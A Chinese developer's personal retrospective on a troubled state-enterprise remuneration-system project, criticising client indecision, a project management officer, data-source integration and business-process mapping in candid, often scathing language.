LEI是一个很好的参考,他比我们强很多在于他作为甲方的人知道甲方的“惯性”:所以他可以笃定的说抽象的配置化系统推广不动,要让基层用起来就越简单越好,让人去做一些映射。他照出来了我们的盲区,我们之前的算酬系统都是给甲方的IT人员去用的,但是这次的甲方好像……没这种能力。

得益于LEI的点破,我们清楚了一半这个系统的最终态会是什么样的,我们的逐步清醒不是一蹴而就的,是这个人、那个事点拨一下,慢慢清醒的。

这又引出一个话题,如果下一次承建域外的系统,我们要怎么高效的在最开始摸清系统的建设愿景及甲方的真正诉求呢? 现在来看LEI承担了帮我们学会“产品”的能力,所以一个合格的在对应领域有足够经验的产品经理是最优先必须的;其次则是比起做事,应先与这个系统的相关方从领导到到基层领导再到使用者,摸清系统的定位、承载的能力,还有他们每个人部门的小九九,抛开既有经验,从0去摸象这个系统该长什么样。之后才可以去规划后续的动作,而不是这一次从开始就错误的-听从B的指挥。

唉,也就是既要听高级领导把方向,也要下到基层去走一遍。

  • 甲方不作为+作为不动鸭

不作为:

中间穿插了不少汇报,W都会去讲什么什么我们系统建设难啊,难在哪,我们有多少困难点,需要甲方爸爸帮助。 这个策略是各位总监帮着拟定的,要让客户知道我们的难,知道这个系统的难度,管理好预期

从结果上说,每次甲方都会知道我们难,然后进行一番虚头巴脑指示后,又让我们去推进,还真是那句话:提供除帮助以外的一切帮助。很多时候我们就是希望甲方决策一下二选一,代价都列出来了,但甲方就是不决策,而是既要好的方案又要保证排期不变。

有时那个一级二级知道了我们难在哪,会让P->YY去找难的相关方对接牵头提供帮助,但是执行下来,那两个废物就变成了给我们拉会拉群,就看看不管了。

甲方作不了为也有我们自己的错误,我们给他们列的难点,都是我们技术建设角度的,还是没拉齐目标和系统愿景,他们也就get不到难在哪。

后面的章节还会提到一些他们的不作为案例

作为不动鸭:

不作为说的是YY以上的领导 exclude LEI

作为不动说的就是YY她了

YY的人物画像,在做完了这个项目后,我可以给一个准确的描述了:积极、努力(不管真假)、专业头脑缺失、令必达(领导命)、没有轻重缓急、缺少责任意识、不懂权责而滥用权力、不会自保。如果作为她的领导,那她是一个随时可以被放弃的忠心耿耿的人,但最好给他配个专业办事的副手。(不过看了一些新闻后,可以说如果你在体制内,那学YY干事是非常正确的,看看赋红码那位……)

在调研过程中,举个例子,本来我们是要梳理业务流程出文档的,但她所在的会场聊到了一些账务报账的信息,不同地市就各自的不同点就互相聊了起来,她就兴奋了,拉着各地市帮她整理各地市的报账流程,为什么这里我用“帮”字呢,是因为她并不专业,梳理起来与其说是产出文档,不如说是以她为中心所有人教她这部分业务,而她正乐在其中。

当时连做不做报账部分的对接都没定下来,YY一直拿标书说事,但是她的领导和领导的领导都是没有给准话的,一直在模糊化决策。所以我们的调研的目的是串通各省业务流程,再让她们领导给决策做哪些圈定边界,哪些可以砍哪些要定制,而不是这个时候就为报账部分的建设做准备……她的行为就和新开发会有一段时间去揪一行行源码一样。

她没有坏心思是在为项目努力作为的,可这就是作为不动鸭

  • 系统地基:数据来源不稳--喝酒总监的大智慧

我们调研期间向甲方反馈的难点,有一个是数据源的难,数据源可以说是系统的基础建筑了。

数据源难在总部对于1、地方没有管控,各地都自建数据源平台(实操上基层会导入导出然后线下签字等流程);2、政治任务上,要完成对于地方的报酬纳管,赋能审计,所以这一点要求系统必须走无人为干预的对接方式。

但是客户是鸵鸟,他们不接受我们的策略。我们的策略是(主打一个缓兵之计)几步走,把简单的一期实现,难的对接放到二期三期。

我们将客观存在的时间不足、需求不明确的问题提出来了,也表示了这个建设没有历史参考,时间不可控制不可预估,希望甲方可以理解并决策计划。不出意外的是甲方的结论:我全都要,你们要去做。

他们真的就是这个意思,很虚的要求你去做~ 你提出的方案他们挑刺,说时间说其他(比如满足不了审计,有风险,地市可能不配合,总体计划可能要延期,甚至于“不满足包书”),但他们却不输出自己要什么,全靠我们去一个个试错。

从复盘的角度看,甲方那些领导是很清楚自己公司对于地方的管控已经失能了,做不到要求地方全面配合,地方有无数种方式阳奉阴违,所以不可能给我们决策。但也不想担“点头决定不做什么”的责任,所以他们的选择只有让我们去“继续调查”给他汇报关于对接各数据源的方案。

在我们一个个建设方案试错的过程中,喝酒总监他涉及到数据源,给我们所有人印象深刻:他就说“导,让他们导”、“你别想那些,就让他们导”。

我们当时是认为这个行不通,是无视了这个“非专业人员”的,因为当时都当调节气氛来看他的“导”的,客户侧不可能同意导入,客户总是在说要纳管审计收容,这一允许导数据就不可信了。每次汇报也是一说不对接数据源客户就炸毛。

但是从后期结果态来复盘看,喝酒总监他是真的懂,他以前做这个总部客户的项目,早知道这些人什么尿性了。

你还真别说,如果我们就按“导”,去和客户说我们只能这么做,其他方向方案出工不出力,还真可能心也不累了,到最后这些假大空的甲方领导,为了自己的乌纱帽开始急了就会主动从语言的艺术上什么都可以妥协,圆满完成一期建设(导!),后面再薅二三期建设慢慢做对接。

  • 随时一波未平一波又起

这说一嘴那说一嘴真实如此,我写的也糟心。

B在执行她的项目推进计划时不看实际、不看我们的情况,而是完全按照她们公司的产品套路去推进,且她会零过滤接受一切领导要求,所以现实场景真的是这打一枪要汇报、那打一炮要难点shoot(还根本shoot不掉)、突然再穿插一个新的从标书膨胀出的需求点要你去推进。

在中后期(功能+设计开始),我们之中经历过调研后面那段时期的人已经开始认为这女的PMO经理就这样了价值寄生虫,她休假时B公司的男领导顶班好沟通非常多,B公司的男领导虽然也会有关于二期利益的小心思,但还是和我们步调一致要做好一期的,目的一致哄好客户以推进落地为共同利益,这是和B她明显的差异。

我们真的需要说不,但是信任从最开始的错误丧失了已经……

  • 复盘前面说的够多了,后面少些,总体是专业不对口+地基不好+客户不当人+我们不够硬,后面一直在填坑
STEP1:梳理标准业务流程

调研分2批,第一批纯浪费了,第二批是带着梳理流程的目的去的。

虽说如此,但是真的要我们合流整理一份标准业务流程出来,我们发现了合不起来,或是这个省其实串不起来,或是那个省和你负责的那个省不一样。我们发现了自己输出不了一份至少过内部关的标准业务流程。

合不起来原因在于:我们并非专业的产品人员,人员素质在对于产品、技术、业务的理解侧重点大不相同。虽然提纲已经尽可能去定了一份大流程框架,以调研时有个依照去问,但我们实际开始和地市老师进行沟通后,每个人对于沟通到什么地步,问出什么结果才算ok,各自的理解丝毫不同。且各个人的专业领域导致了会误判自己问的够了,但其实对于我们的目标“业务”流程来说,是不完备的。

另一方面是,1、提纲是不可信的,上面可能说过了;2、老师们更倾向于你问什么我答什么,老师们没有理由主动去把自己的底裤交给你教给你,所谓现实的角落不能明示。

也就是我们一群都不敢说自己是专家的人,在那里空耗整合,公说公有理。

那我问你,那我问你,你觉得DDD怎么样?DDD会要求你有通用语言、看图说话,还给用于描述业务的术语定义好了。 我是认为DDD的理论提出必然有和我们一样的场景孕育。

不管怎么说,事情都要继续做下去。调研结束后,一些临时从杭州借来的人已经回去了,他们留下了自己的产出/收集的资料。剩下的只有我们三人帮和那个北京本地的总监。对于这个标准业务流程,初版是我写的占七八成,W疲于应对各种膨胀需求,ZHAO帮不上什么忙 我当时仍然是技术思维占绝对主导,并没有意识到标准业务流程对于我们收集得到的差异情况,并不能用可配置、个性化来描述。 也许你可以说这么从技术上实现最完美完全可行,但是,客户并不想要,他们想要的是“标准”业务流程

还是那个根本原因:我们那时依然以为是建能力支撑他们业务,想说服甲方,但没意识到大背景政治任务不可违背,甲方想的是统管业务系统。

在我写的过程中,我彻底笃定了B已经不是什么好人了,承认其在自己舒适圈的专业性,但是她并不懂也没有去变通,且只是因PMO的职责和我们貌合神离。

文档格式,和她们要保持一致,说是我们双方承建1个系统(事后看纯纯的扯虎皮)。但她对我们的要求和对B自己方的要求,是双标的,所谓草台班子呢就是这样,没有成文的可参看具备公允性的文档规则。

(1)我们写完后B她要审,她会说这我觉得不行,那也不太合适,但是她从来不给出指导改进的意见,作为PMO她这是渎职,实际上成为了二甲方这个层级,甲方可以扯大旗飘在天上那因为他是甲方,B她也配?

(2)一些格式上、业务描述上的要求(如泳道xy分别写什么,每个流程节点的该写什么的定义),B她们自己的文档也没有做到,却严格审查我们,她们是拿以前的同质项目的改了改就绿灯过了,所谓太监正如此,甲方好糊弄。(记忆模糊了大概这意思)。

STEP1.5:无尽的评审、宣讲,隐藏的外部系统大雷

B在那作妖,时间还是到了,该给甲方评了。

大概有5、6个大流程模块,每一个都举步维艰,艰难的原因在于~

  • 1、上面提到过的,我们和甲方对于系统的理解不同:我们在那搞中台的思维写的标准业务流程,到处都是根据实际配置、个性化;而甲方想要的是统管业务系统
  • 2、我们和甲方对于决策责任的划分理解不同:在调研过程中,虽然已经隐约有感觉到甲方“不靠谱”了,但是我们没能做到进一步思考背后的含义::有些业务场景我们调研得知了差异,但我们没有去跟地市老师进行更细致的明确,而是“默认”了对于主干业务流程没有影响的可以吞掉然后继续推进调研,后面甲方做决定要不要还是允不允许改不改就好了。血的教训是,不要有任何“后面做”的想法,也不要自己做任何非正式的决策,一定要摆上台面留痕,调研到什么细致程度不是你说的算的,由需求甲方说的算。
    • 这也就导致了,到评审时,我们说甲方这是你该定的,甲方反说这是我们该去调查清楚的。双方都觉得不该是自己做决定。公允的说,这是甲方自己的业务,不该是我们去决策的,但是……标书标书还是tmd标书,范围没写清楚是模糊的,甲方真吵架就拿着标书说这是标书范围里的。

好好好,那我们达成一致认栽了,我们去梳理去决定,你审批,开心了吧,但是仍旧不能皆大欢喜快速推进,这次的原因在于:

  • 1、甲方是既要又要还要的,优柔寡断都是夸他们了,对于我们的结论,YY、二级、P、B总是能找一个他们哪个人觉得“不太合适”的地方,要求继续《明确》
  • 2、依旧是对于业务的重点理解没有对齐:我们认栽了去梳理流程了,但由于我们终究是技术专业的人,梳理的流程还是抽象的。举例子是我们去掉了那些一开始写的是“自行配置、个性化”的地方,改为了我们根据调研情况认为合理的处理办法,所谓“标准业务”嘛。但是我们仍然没有意识到应该去关注纯粹的业务行政维度的管理:“省市县各级的参与度”、“审批流程各级处理人设置的合规性”、“业务数据在省市县间流转时到底不同层级该承担什么职责,该不该,允不允许”、“不同省的外包服务商和甲方省市公司间的关系会产生的业务操作的法律风险(如灵活用工的灵活、事实用工的产生)”、“各地市如何处理审计”、“各省市有哪些极端业务场景又是怎么处理的”等----人的思维转变是很困难的。
    • 我记得不清楚了,但是复盘结论是,我们的业务还是太嫩了,思维框架在技术侧太定势了。
    • 甲方的关注点是对的,对于建设《统管业务系统》来说标准业务流程的梳理是非常必要的,没有这个标准化的动作,即使建设了地市也可以以无法支撑为由,拒绝使用被你统管的系统。我们和总部甲方的争执则是应当由谁(哪方)来做(或者已完成)这个梳理
  • 3、评审的过程中总是会发生对于这个那个业务细节的辩经,B是最大阻力,她拿着PMO的酬劳与我们的对立点展露无遗。这种辩经你不能说它是完全无意义的,因为真理是越辩越明的,但是有没有可能我们在总部庙堂之高可以按下不表,计入待办,在宣讲时让省进行明确?

我们应当学会换位思考,从对方的角度

B的角度:她是PMO拿这份钱,要替甲方保证项目的安全推进,那她发现了我们有一个个业务疑点,她就来辩经,不允许继续下一步计划,那是合理的……个屁。如果没有B那面替他班的男领导做对比的话,我还真信了,那个替班男领导才是真的为项目考虑,B就是坏,只为自己的光鲜亮丽考虑

甲方的角度: 甲方的阻止推进倒是确实有原因的,这是总部,他们不该允许一份有明显不明确的漏洞的文档作为宣讲材料,从YY处我们应该意识到的,至少这个体制内结果导向行不通,反而是过程导向,每一步都不允许有损权威的漏洞。如果是那个替班男领导,和我们一起说服甲方接受也是可以的,可惜是精致的B,B常见话术:“好吧,我们和xx总汇报的时候讨论一下,但是我觉得xxxxx”,所谓没有担当

每个大流程模块不知道磨了多久,终于是在总部层面审过了,该对省市宣讲了。比较幽默的是,连找哪几个省、选哪几个市来宣讲,甲方也不决策……无语

无语在于,当事人都能感觉到甲方对于某个省的倾向性,而我们也对于建设尽量简单些的诉求下有对某几个省的倾向性。结果就这么假谦虚上了,罪魁祸首在于YY、P、B三个蛇鼠一窝,甚至于二级也是欺上瞒下的报喜不报忧特性。他们的能力Hold不住这个项目,但又不能和领导坦白,最后可不是装高人指点江山嘛~

最后还是周例会猜中了甲方希望的,然后才顺利通过。

这里W做的好的地方就要认真学习:从调研起,他就是最先识别到这些省的差异对于落地的巨大阻碍的,而据分析他能意识到的原因是会落到笔面上/直接说出来,人在脑子里想和输出出来聊确实对于理解分析有差异。 可惜他的做事说话方式导致这个识别的风险并没有掀起惊天浪,圆滑地和所有人做朋友,那他和所有人切实聊都能聊出东西,可是这都是私人意见,不会产出决策性的结论,连邮件都没有正式落下来。

就像是我和你聊,你知道了有XX一回事,然后就没了,我还和你说XX这个事怎么怎么啊,但我不定事,上会我还是要你来决策,你还要给我证据。

某种意义上他的聊也算是对于我们的总监的欺上瞒下了(攻击性不足风险上报不足事态紧急程度被低估)?好像也是,当时上报只是在说超出标书范围了,就没更多了。

决定了宣讲的省后,宣讲执行后,不出意外的,省分意见是尖锐的。尖锐集中在

  • 1、不想把数据交给你做精确计算:

在调研期间,我们想要看老师们真的拿数据去算,会感觉总有一层窗户纸,其原因正在于数据是各省的命,在线上调研和第一批线下调研,我们都是理论性的飘在天上的摸象调研,老师们回答时都会说“有”、“有规则”、“从哪哪拿的数据”、“按xxx顺序给过去算出来审批”、“excel有公式的,不是手填”、“有系统记量,然后算的”、“地市审区县的二次分配”、“有依据的”

但是此时宣讲,各省却又冒出来了闻所未闻的场景:“基层组长给的量”、“我们只核时每月的总包”、“有些调整金额的要申请”、“每月地市总额有数的,是在盘子里再给区县分”

数据+怎么基于这个数据给发的钱,是每个地市的命根子,省都不太好问清了每个市的小九九呢……

在上面总部辩经这个宣讲内容时,此关于地市区县和计算用的数据还有报酬结果的争论是一个大头。从复盘的角度看,辩经缺少意义,总部想要的结果我们改变不了。

对比宣讲到的地市的实操和总部想要的结果,当然是总部理论上的结果更具备合规合理性,但是地市客观存在的实操情况+怎么让地市接受你的系统,这个没人在想且想了也是个死结,从复盘来看,天然的利益冲突,如果不准备打扫干净屋子再请客,那结果只会是妥协做出来个四不像

你想打扫干净屋子,那地市也可以轻松用民生大旗反对使用你的系统,毕竟关乎到实际发钱,正所谓总不能什么都查吧,万一查出来什么呢?百万漕工衣食所系。

这是我又想起了喝酒总监:“导!”,真是大智慧,他预言了最终的结果:空有流程,数据根本管不住,导!

  • 2、抵触数据不出系统、全程线上化留痕:

和1类似了,一旦原先还能正常运行的数据进了你的系统,留痕60个月随时审计,那史密斯专员还怎么拿、地市各级人员还怎么努力工作进步。

变革点在于,原先数据也留痕,但控制权在省,总部查不出东西,极端点可以火龙烧仓。而现在这个系统可是总部建的呢喵~

每一个环节可能有说不清的灰色地带,而数据不出系统这可就要命了。

当然不会明说这些,但就是会不断抛出一个个小细节差异,说你这个系统统一不了,默契的各省配合游击。

  • 3、报账流程的标准化确实存在的现实阻力:

这一点是最干净的,是纯粹的业务现实运行确实存在必要的差异

主要问题是一些垫资,延迟N结,外包与员工与省甲方的合同关系,次要是他们使用集团系统报账相关流程的执行颗粒度。还算可以谈的。

但是,这个系统充满了但是:可以谈,即使我们谈清了一个省的细节,那么问题接踵而至:哪个地市的最合理,最合理的流程又是什么?我们系统边界在哪,要做到什么地步,是否重复建设了报账相关能力?报账等系统可不可以适配些接口

集团内部繁文缛节又推动不了报账系统等系统来适配。他们也决策不动,庙堂之高,胃口之大,对上级负责缺忽视建设的客观难度,导致了讨论空中楼阁,最后还是最大程度支持地市现状,即“导!”。

当我们在总部指点江山时,先探索下总部能否做到令行禁止管地市吧~

  • 总结、可以说实时是从这时开始确定了央地严重的对立关系、调研过程中省的藏私、未来的上线推行将遇到的阻力、总部的决心程度的关键性。

算是撕破脸了,不乐意配合你,但还要听总部的话。

这段时间成为了文字工作者,觉醒了奇怪的天赋。

STEP2:到底要对接哪些外部系统?

大抵是从调研第二批开始,YY在调研时突然间提出了“你们要去聊报账系统对接”。我们第一反应是“啊?我们不是算酬系统吗”

然后YY就掏出了标书……

后面断断续续的有反馈过(W聊天非正式),我们要对哪些外部系统、此系统的定位,不过由于时间的错误,在调研时还没有业务流程的雏形,所以我们和甲方都不知道正确的做法没什么结论。

现在标准业务流程出来了,矛盾就摆上台面了

从我们的视角,你甲方那么不讲理,延个期要你命似的,那我们肯定是尽量最小化完成系统,保你的时间。老师们一直会藏一些信息,我们对于报账实操的理解终究是理论性的,这就说对接太不可控了,拖延开发总计划是坑自己。

我们的口径自然是:我们算出来结果,之后导出去报账依旧由地市去线下做。

结果可想而知,甲方那可是要数据不出系统,要审计的啊,那可是他们建系统的目的呀,立刻炸毛(二级和B和跟风的YY和装高手的P)。

但你倒是冷静的想下啊甲方哥哥,我导出去的那份留档不就好了吗,做个对账可不可以(放二期三期)。明明是政治任务,这时却要考虑基层人员操作多个系统麻烦,实际上只要甲方够坚决,基层只有执行的份,太有人文关怀了这时候。

甲方结果性的口径是:要在我们的系统里完成报账,这里复盘的视角应该是B的妖风,如果没有B,我们坚持说做不到/要加钱/要延期,那甲方也只能选一个,我们给的方案也不是说不可执行的,而是满足了甲方最低要求的。但B就在那装好人替主分忧……

分割

除了报账相关的外部系统外,还有个提供OCR识别能力的功能要求,这个在我们的标准流程里对应的是最后的一个“xx回单审核”,标书里要求OCR智能审核,我tmd打死标书那个人

又是儿戏一般的推进,YY就拉了个群让我们去和OCR的人对接,甩手了。然后W就去试了下,发现他们这个OCR能力满足不了需求,G了。和甲方说我们不行别对接了,自建吧,甲方又冒出来集团xx三问,不能重复建设,那你说咋办嘛?又是既要又要还要。

这个OCR拉扯了很久几个月,最后眼看自己可能要担责,甲方妥协了,结论是满不满足好不好用不重要,你对接了可以用很重要,我学会了。わかりました、ありがとうございます。

小细节是,和他们x企对接,对方那人的水平哦,好用的文档没有,事讲不清,做事也不积极,感觉就是麻木撞钟久了。

以上关于甲方和B对于一个标书里埋的坑点扯皮的无奈描写,具体执行时,YY想一出是一出(会突然在拟标准业务流程时,让你去同步调查外部系统可不可以xxx,鉴定为领导病翻了),就要你去调研外部系统……而W那时候也完全和他们一致,不辩解,现在W也不会承认自己被影响了,反会PUA什么那时候没别的办法(好像确实)。

STEP3:全国还是几省&&穿插而至的一级要听汇报

全国还是几省的雷发生于标准化业务流程前汇报后,大概也是那个时间一级要的汇报,我写的都心累,记不清了

  • 一级在上面的重要指示为:

一定要全国上线

允许分阶段

你们要去对接数据源

计算功能必须要有

要好好互相配合

  • 一级很急+为什么急

巡视组了,做不好要逐级问责,这下子后面二级变得非常关切,YY和P也不敢放P了,只有B更恶心了。

  • 正式暴雷:全国还是几省

标书是全国,这个甲方是改不了了,唉标书

我们能争取的只有双方妥协,“第一批”的时间依旧按照标书,逐步全国接入

  • 人造地雷:哪几个省呢?具体てき お願いします
  • 你个二级不决策谁决策,请领导明示,总不能上到一级那吧

嗯……就是那种,我们好像可以决定,但若有若无的暗示,不行不行,还缺那个省

经过了一系列总部不决策,所以收集各省意见+主动沟通是否愿意,终于是把二级心里想的那个省(也是补充调研她说的那个省)加上其他4省列为了第一批对象。

推广完第一批就开始第二批,是这么想的

  • 项目经理:没钱了

没钱了,这么做根本兜不住成本

尝试和客户说,客户开始CPU:你要想二期,我们会在二期给你们补回来的.无纸面gif

雷也爆完了,终于决策了做哪些省了

总体计划调整为,第几批第几批上哪些省,前途一片光明鸭,都是一级指导有方!

STEP4:补充调研,之后就是功能阶段了

标准业务流程好不容易通过了,做哪些省也定了,为了支撑系统的落地,需要补充调研上线第一批的省的细节。

插叙细节👇

  • 1、YY还有B要求好好审视总体计划

并不是此时才出现的,一直都有这个现象,之前一级插进来要听汇报,也出现了总体计划扯皮,这个扯皮很频繁。

总体计划的调整会领导不开心。集团定了标书写了0630要上线死线。所以调整总体计划补充调研,那会不会来得及?答案当然是可能来不及,总体计划受影响,但是这就是X企病不讲理的地方,一切时间倒排,抛开现实不谈,只有领导定的时间不能变。这个项目从此开始会频繁且每次涉及调整个时间都很费劲,二级一级都会扣时间。

这就是无意义的扯皮,增加了新的内容,时间不可能不受影响,B却要你给出一个以结束时间不能变的基础的合理的总体计划,那只能是压缩后面的排期。纯纯的咬文嚼字面子工程……B只对自己的PMO工资负责的一个体现。做的事有没有推进意义不重要,做职责范围内的事本身便是意义。

说到底总体计划这个东西,之前YY和B硬要就是错误的,该正面对峙,他们说不出个所以然来。给计划纯粹为了满足领导指挥全局的领导瘾,领导看了计划也不会为此负责。从复盘的角度,此时我们必须强硬拒绝按B说的来调整计划,一味的满足甲方无理的要求,让B狐假虎威,最后坑的只是我们自己。打开天窗说亮话

B经常说“计划之前领导都看过了”

真恶心,为了自己的专业性,置整体推进于不顾

但也可以说复盘这也是死棋:我们经过失败的调研与标准业务流程产出,至此已经没有足够的“信任”去让甲方放权我们自由做了,一步错步步错

我们年轻一代欠缺的,我们会天然的抵触:“做好无意义的事,保证自己不会被问责”。后面我们换新项目经理后便相对隔离了,哄客户开心的和真干事落地的分开推进。

  • 2、那么下到省里的计划捏~🤭

插播:汇报后HB加入团队,老油条项目经理ZL部门的。

这里没什么可说的,又是计划、日程、人员配置。我比较震惊的是,P、YY及他们的助理之类的,居然依旧没有危机感,觉得是去省里玩的,这不是他们负责的项目建设吗……

下到省里好像是要实地考察了,结果……B又是要你提前拟提纲,搞她那套。

万幸是经过前面的折磨,我们从不断破碎零散的信息中,整理出了业务流程了,这时候至少提纲是可以细化到每个功能关心的细节了。

  • 3、实地调研结果

收集上来了每一步的资料,操作流程也细致的记了下来,对于功能设计的细化/丰富有帮助。

但是仍然没有做到复盘角度理想中的“参与到实际工作中”这一状态,从项目上线推广期产生的问题来看,这次实地调研仍然是老套路的提纲质询。

STEPX:我们一直在被推着走,怎么办?

自我问题要认得清清楚楚:我们就是菜,专业不对口,没有自己的三板斧,这个客观条件改不动,赶紧换人来掌舵。同样的外部压力换个老油条来就能做好屏蔽外部杂音,让内部可以专注于有效推进。

外面的问题也要顶回去:哥们,遇到这种情况,第一时间往越高捅越好,就B、P、YY这种甲方、二甲方,给他们定性稳不稳另说,但求定性定的准狠,错杀也不放过,直接摇内部吵架高手来替班。你像W这样能说出来“你这样是给别人递刀子”的半瓶子水敌我不明这谁受得了,再来一次他做我方领导我是不干了886.

STEPY:复盘B,她的存在意义/定义在于?

用激进的言语概括的话,B是一个受过良好教育的、伪装在专业面孔下的old仙女。在对她的套路吃够了,祛魅之后,就会发现本质依旧是寄生虫寄生于高级领导,缺少理性思维并非实干。

STEPZ:复盘B,她如果存在PMO方法三板斧定式?

第一式:领导什么意见?

第二式:你们按领导说的做

第三式:我要审审给领导看的东西

此为B行动的框架,其当然具备一定的专业性,没有专业性不可能做到引导调研->标准业务流程->后续的项目落地,但她是在机械的执行套路,是秘书身份并非一个统管整个合建项目的PMO。

混沌的低语-功能清单还是研发计划?还有宣讲??

【202402-202403】

HB在加入后,分析完局势后,与我们所有人开会:

会议主旨概括可以是:聚人心、齐目标、建信任

可是这破项目事后回想写的都心累,当时已经人均离职边缘了

聚、齐、建说的没错

问他怎么聚人心,他没能给出好答复。

问他我们的目标是什么,他说是建设好这个系统。

问他如何建立信任,他说先从每周例会任务清空达成开始逐步建立信任。

你还真别说,这些话最初一听会觉得是废话,但真的想一下,我们发现了自己其实处于“一问就知道,一做全不对” 的状态。

HB在项目周期里,给我的启示是:要管好团队就不要忽略任何细节不要觉得任何事情是无意义的,去想去做一些乍一看没用的事情。

HB这次会议还根据观察,观察到我们人员是集中式复用的,人人心累还效率不高,所以将我们人员重新划分为多条线,规划汇报线、功能研发线、调研线。

这是一种很奇妙的感觉,他一说出来我的本能反应是,“早该这样/这不废话吗”,但是为什么我们这么多人都没注意到,也没想去改变一些?也许可以说他局外人刚进来上帝视角看得清,但我觉得没那么简单,“老油条”的身上有一种特质,中年人的积累沉淀,看轻一切的超然,不忙不乱。“你说做,那就做,我们应该怎么做,我们应该这样做”,平和稳定的推进处理一个个事,我们小年轻没有身临其境经验积累是做不到的。

STEP1:什么?你现在就要画原型

我们的进度是落后于B她们公司的,阻碍太多,B也没有多上心也没能力上心我们的复杂场景。

在我们梳理标准业务流程的时间里,B公司已经汇报完成开始原型设计、功能设计,准备功能宣讲各省了。

B是什么德行大家都知道了,当时,我们刚结束标准业务流程汇报,正要进行上面说的补充调研。她却要我们和她们同步也出功能设计。

B的心态上发生了变化,从此之后吵架颇多,大家撕破脸了,W不再参与客户关系,而是比B更老油条的HB。

从一个装着优雅推动项目的PMO,变成了眼看计划异变横生,焦虑的要求他人按照她的计划维护他的威严。过往的荣誉束缚了她,她无法接受自己其实一直是受二甲方身份庇佑,而没有真才实干建设一个全新项目的事实。

在周例会上,B就说进度怎么怎么巴拉巴拉,总体计划上巴拉巴拉风险,我们最好现在就巴拉巴拉。B好呀,好就好在占着个替甲方君父分忧的理字,无法拒绝。

在无法拒绝的前提下,我们步入了并行一部分人补充调研,一部分人在出功能设计的情况。

值得一提的是,几位对于接受B的并行作业要求的理解是不同的:

W替她人着想,B有她的道理,我们也确实应该尽量赶进度,所以W同意并行。

W从成为领导后,其思考方式就变了,在刻意的管理,却没有方法论。和W说这么并发,功能设计的产出物没有可靠度,返工算谁的,谁愿意返工。W却说我们拒绝不了(这个我认可),W却说至少应该有一部分能用的、尽量出(不认可)。

我认定这是他说话方式“玩”的一种体现,正式和私人边界很模糊,但都导向利“他/她/它”,如果你看过雍正王朝,那么八贤王……。他没有什么可信的依据来推断我们并行的劳动产出不是无用功,只是“觉得”可以有一部分能用的,如果我们和他正式一些,那邮件抄出去,你模糊地要求出一份不可靠可能浪费人力的功能设计,不尊重研发兄弟们的劳动。

HB,他一点不懂技术,他接受我们的结论:这个并行可能产出的不可靠。然后他的处理是会问我们哪些更可靠一些,以我们的评估为准,再要求我们把承诺的可靠的部分的功能设计做了。他则去对外交涉承担责任--我们只并行做自己认可的部分,对比W这就成熟了非常多。

虽然都是要求先去尽可能做一些,但一个是在“玩”,另一个是每个人做自己专业范围内的事,按部就班。

唉,真是做事中每个人的专业技能是基础,做事前先把人性给摸透才好用人

  • 分线操作清明加班出文档

W是部门经理+客户要求不得缺席实地调研,调研现场也必须有一个业务理解足够的人。团队里次之对于业务理解功能理解兼具的就我了(W他功能也不太行,一方面专业技能思考的模式丢失了,另一方面写C++的在我们部门和兄弟部门里我见过的都是面向过程,有着只关心自己的面向过程编程设计的臭毛病,设计功能并不合理),故我和一位前端分工到功能设计,同时又是从杭州临时征调一批人出差F省调研。

我去做功能设计也算是矮个子里抓高个子了,我是研发专业不是需求/功能专业,只能算半个。可当时形势上没有第二个理解业务的人,我们即使抓一个产品经理来他也不理解业务。这是我们自己的问题,没能及时识别自己的专业不对口去摇产品经理早加入。并且从近年铺开的DDD思想来说,我们调研这么久了却没有形成领域文档,传达低效阻塞。不止一次会议上会突然有一个人就一个细节提出异议然后又是找资料又是打电话耗费所有人心力很久。复盘马后炮:我们这种杂七杂八的调研团队,最应该使用DDD设计了

配套的前端也是尽显我们公司这个部门的完蛋之路,此项目跌跌撞撞这么久了,我们没有及时摇产品经理是自己的问题,可这时候摇一个会画原型图的,居然也不给配。又是W的“玩”,他的玩让绝对的该不该、对不对被抹除了:他居然以杭州研发部门只有一个原型图会画的人,且这个人工时在别的项目借不到来作为理由,得出结论让北京前端现场学画原型,还说什么他W也可以学,ZHAO也可以学。真是分不清主次轻重缓急鸭。

试问:该不该给一个专业的原型图资源

试问:把资源倾斜给更重要紧急的项目对不对

试问:如果自己没有该不该去外部要

试问:模棱两可的让一个前端/其他人现学是对一个紧急项目的态度吗?是正确稳妥的处理方式吗?

画不好,最后内部定责,别人可以说,你为什么不和我们要,你也没说一定要啊,你一定要我一定给。

无语,W还会打滚说“那部门给你来管”,装模作样管理。

站在更高的视角看W、总监的关系就懂了:总监就是喜欢这样的W,总监不想要一个不断给他制造问题让他可能承担到责任或是把矛盾问题暴露出来的中层管理(部门经理),而W恰好又不太懂管理好控制,还是个交际花PUA大师,会自觉把问题吞掉,把矛盾用他的非正式私人关系“玩”给模糊掉。

  • 做功能设计画原型的过程中呢?

1、痛苦地破除思维惯性

我们是研发出身,多年的工作和教育都让我们的思维惯性是技术向,只会考虑如何实现、要做什么。而做功能设计画原型,则是要去考虑用户的使用上怎么用才是合适的。粗暴的将表模型、业务模型,1:1的体现到功能/页面上也不能说不能用,但是很烂的设计。

因为梳理总结的业务模型,和使用系统的功能的一步步操作并不对应:业务模型是调研总结的全局视角的一个规则性的东西。系统的功能设计/操作则要考虑每个业务的使用者职能视角的关注点和实操流程,怎么操作更贴切现实业务。

如何破除旧研发思想,从业务模型中得到系统功能的设计?这时就要回扣“标准业务流程”了,所以很上面可能说过,B的系统建设路径是对的,只是没有考虑业务难度。 我们的业务模型可以说在调研前后都没有什么实质性的变化,而围绕着业务模型封装的功能设计则要依靠“标准业务流程”了

在依靠“标准业务流程”的过程中,我们也认识到了B确实有些东西,理解了为什么在前述评审“标准业务流程”时B总是在“挑刺”了,没有B的挑刺我们的功能设计会更差。因为确实做的不够细致。思维定式太严重了,思考到抽象设计就停止了

有些功能的细节设计(如计算规则、策略),则是标准业务流程不关心也无法涵盖的,纯粹的实现功能后该如何使用交互细节,此类场景功能设计的就需要我们自己代入使用者,去把核心的计算模型打散到操作中。

文字只能很理论,总结就是实践出真知。

2、公司风气的惯性、非专业原型埋下的祸根

我们对于产出的资产过度不敏感了,画好的原型零零散散分散在不同人的账号不同的文档里,因为在惯性中这些原型不会再次用到,如果有修改也会是直接在前端开始时调整。我们又一次“默认”了替客户决策了,而客户事实上是要求几次三番改原型改到满意为止,国企特性是少犯错不在乎人力投入产出

后面经过后面几轮宣讲后有所改动 OR HB他们线条要汇报给大领导看时,我们都在到处找当时产出的资产。

技术问题的流程冗杂化

STEP2:又是宣讲

客户还是那个客户,宣讲的流程没有变化,总部拟定邮件邀请xxx省派出可以定夺人参会,一个个模块每个半天。

